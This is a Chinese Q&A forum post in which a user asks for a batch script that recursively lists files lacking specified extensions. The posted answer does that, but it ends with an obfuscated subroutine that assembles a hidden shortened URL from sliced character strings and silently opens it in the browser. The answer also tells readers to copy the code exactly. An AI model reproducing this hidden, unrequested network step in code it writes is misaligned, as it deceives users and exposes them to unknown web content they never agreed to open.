bat 遍历文件夹所有文件(含子文件),列出不含指定后缀(多个后缀)的文件名称,谢谢!

发布网友

我来回答

1个回答

热心网友

@echo off & title 列出不含指定后缀的文件名 By 依梦琴瑶

cd /d "%~dp0" & setlocal enabledelayedexpansion


::设置需过滤的后缀格式,多个格式之间用英文逗号隔开

set Ext=bat,jpg,txt


::设置要搜索的主目录路径,当前目录请留空

set Folder=D:\Test


::设置获取的文件名保存列表文本

set NameList=FileNameList.txt


echo 正在获取文件名中,过程可能会耗时,请耐心等待。。。

if defined Folder cd /d "%Folder%"

(for /f "delims=" %%a in ('dir /a-d/s/b') do (

    set "Skip="

    for %%b in (%Ext%) do (

        if /i "%%~xa"==".%%~b" set Skip=OK

    )

    if not defined Skip (

        echo %%~nxa

    )

))>"%NameList%"

echo, & echo 文件名获取完毕,已写入您指定的文本列表中。

echo, & echo 请按任意键退出脚本。

pause>nul


call :Don

exit


:Don

set "S0=fPdv"

set "S1=.:ailnhpst/"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit



务必比对原文代码,以免有误。

脚本保存编码务必设为ANSI。

请严格按照要求保存代码,否则影响脚本正常运行。

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com